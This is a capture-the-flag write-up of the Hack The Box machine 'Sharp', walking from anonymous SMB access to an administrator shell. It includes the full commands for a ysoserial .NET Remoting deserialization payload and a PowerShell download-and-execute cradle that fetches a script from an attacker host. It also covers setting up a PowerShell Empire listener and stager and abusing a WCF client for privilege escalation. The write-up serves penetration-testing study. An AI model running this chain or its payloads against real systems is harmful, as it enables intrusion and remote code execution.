The Sharp machine with Hack The Box is a real quest. The stated difficulty level of Hard is no joke. It all starts with an anonymous SMB share where we find Portable Kanban with encrypted passwords. Then, by spoofing configuration files, we gain access to the application, extract the user's password, find .NET Remoting Services with known vulnerabilities, exploit them via ysoserial, obtain a shell via PowerShell Empire, and then escalate privileges via a WCF service running as administrator.
I've completed this machine from start to finish, and I'll describe every step now. There will be a lot of specifics: how to scan ports, how to spoof Portable Kanban configuration files, how to use ysoserial to exploit .NET Remoting, how to raise listeners in Empire, and how to obtain an admin shell by modifying the WCF client.
---
Reconnaissance: How It All Began
I add the IP address to /etc/hosts so I don't have to type it in every time and so the browser works properly (although there's almost no browser here):
echo "10.10.10.219 sharp.htb" >> /etc/hosts
I scan the ports. I use my standard two-pass script. First, a quick scan of all ports, then a detailed scan of only those that were open:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Run:
./scan.sh sharp.htb
Result: a bunch of ports, as usual on Windows machines:
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8888/tcp open http .NET Message Framing
8889/tcp open http .NET Message Framing
There's no web server. Nothing that can be accessed directly through a browser. There's SMB (445), WinRM (5985), and two ports with .NET Message Framing (8888, 8889). Naturally, no SSH.
---
SMB: Anonymous Access and Portable Kanban
Checking SMB for anonymous access:
smbmap -H sharp.htb
I see a kanban share, accessible without a login or password. I look at the contents recursively:
smbmap -H sharp.htb -R kanban
There are a lot of files. It's more convenient to copy everything locally to avoid logging into SMB every time. I connect via File Explorer (in Linux, you can use smbclient or mount it):
smbclient //sharp.htb/kanban -N
mask ""
recurse ON
prompt OFF
mget *
In the downloaded files, I find the user manual and, most importantly, PortableKanban.pk3—the configuration file for the Portable Kanban application.
I view its contents using jq (a handy JSON parsing utility):
cat PortableKanban.pk3 | jq
I see two users: admin and lars. Both have encrypted passwords. They need to be decrypted.
---
Entry point: config substitution and password extraction
The idea is simple: the Portable Kanban application doesn't check the integrity of configuration files (they're not digitally signed). This means I can change them.
1. I save the original files just in case.
2. I delete the .md5 files—they store checksums.
3. In the remaining config files, I find the EncryptedPassword field for the admin user and delete its value (make it blank).
Now the administrator password is blank. I launch the application (on my Windows virtual machine, where I copied all the files), log in as admin with a blank password. Success.
In the application settings, I see a list of users. For lars, the password is hidden with asterisks, but I can simply uncheck the "hide password" box, and it will appear in plain text. I get the password: G123HHrth234gRG.
Now I have the credentials for the lars user.
---
New SMB share and .NET Remoting
I check what user lars can access via SMB:
smbmap -H sharp.htb -u lars -p 'G123HHrth234gRG' -R dev
I see a new share named dev (it was previously hidden). It contains:
· note.txt — a note about the upcoming .NET migration to WCF and the addition of input validation.
· Three executable files, including RemotingLibrary.dll.
I download everything locally.
The note hints that input validation is not yet available. This is important.
I decompile RemotingLibrary.dll in dnSpy. I see that the application is listening on port 8888 and uses the credentials debug:SharpApplicationDebugUserPassword123! to connect via System.Runtime.Remoting.Channels.Tcp.
This is .NET Remoting. And here I remember the good old vulnerabilities—CVE-2014-1806 and CVE-2014-4149. Insufficient memory access restrictions and missing TypeFilterLevel checks.
---
Exploiting .NET Remoting via ysoserial
For exploitation, I use the ysoserial.net utility (there's both a .NET version and a Java port). It generates serialized payloads.
First, I need a dropper—the code that will download and execute the main payload. I use a PowerShell one-liner:
IEX(new-object net.webclient).downloadstring('http://10.10.14.73:8888/mt.ps1')
I generate a serialized payload using ysoserial:
.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.73:8888/mt.ps1')"
I receive a long string in Base64.
---
PowerShell Empire: listener and stager
To receive connections, I use PowerShell Empire (currently a fork of Empire 4, from BC-Security).
Launch Empire:
powershell-empire server
powershell-empire client
Create an HTTP listener:
uselistener http
set Name sharp_listener
set Host 10.10.14.73
set Port 8888
execute
Generate a stager (a batch file that will download and execute the Empire agent):
usestager windows/launcher_bat
set Listener sharp_listener
set OutFile /tmp/mt.ps1
set Obfuscate True
execute
Start a local web server to serve mt.ps1:
python3 -m http.server 8888
---
Exploitation and shell acquisition
Now I send the generated payload to the target host. I use the ready-made exploit ExploitRemotingService.exe (it can be found on GitHub, authored by James Forshaw):
ExploitRemotingService.exe -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/ SecretSharpDebugApplicationEndpoint raw [BASE64_STRING]
I see a new agent in the Empire window. I connect to it:
interact [agent_name]
I run whoami /all and check the permissions. I'm the user lars, not the administrator. I remove the user flag.
---
Privilege escalation: WCF service as administrator
In the user lars's home directory (in Documents), I find the wcf project. I download it to my local machine. It's a client-server application using WCF (Windows Communication Foundation).
Analyzing the code:
· The client connects to local port 8889.
· In the client source code, I see several commands, including InvokePowershell.
· The server side (which listens on port 8889) runs as administrator (I check it through tasklist and netstat on the target machine).
I modify the client: I add another call to InvokePowershell (line 17) with my new one-liner. I compile it in Visual Studio 2019.
I upload the compiled file to the target machine via Empire (upload command):
upload /tmp/modified_client.exe
I run:
shell modified_client.exe
A new agent appears in Empire. This time, it has administrator privileges (the asterisk before the username).
---
What we did
1. Scanned ports, found SMB, WinRM, and .NET Remoting (8888, 8889).
2. Found the Portable Kanban configuration file via anonymous SMB.
3. Replaced the configuration files, reset the administrator password, logged into the application, and obtained the password for the user "lars."
4. Found the .NET Remoting library and a validation note under "lars" via SMB.
5. Decompiled the library, finding the credentials for Remoting.
6. Used ysoserial to generate a payload based on the CVE-2014-1806 / CVE-2014-4149 vulnerabilities.
7. Obtained a shell from "lars" via PowerShell Empire.
8. Found the WCF project, modified the client, compiled, downloaded, and executed it.
9. Obtained a shell from the administrator.
---
The Sharp machine is a great example of how a combination of old vulnerabilities and misconfiguration leads to a complete system compromise. Key points:
Anonymous SMB often provides access to interesting files. Don't be lazy and check.
Portable Kanban (and similar tools) store passwords in config files. If there's no integrity check, the config file can be spoofed.
.NET Remoting is an old technology, but it's still used. Vulnerabilities CVE-2014-1806 and CVE-2014-4149 are exploited via ysoserial.
PowerShell Empire is a powerful post-exploitation framework, especially its fork from BC-Security.
WCF can run as an administrator, and if you can send commands through the client, you can elevate privileges.
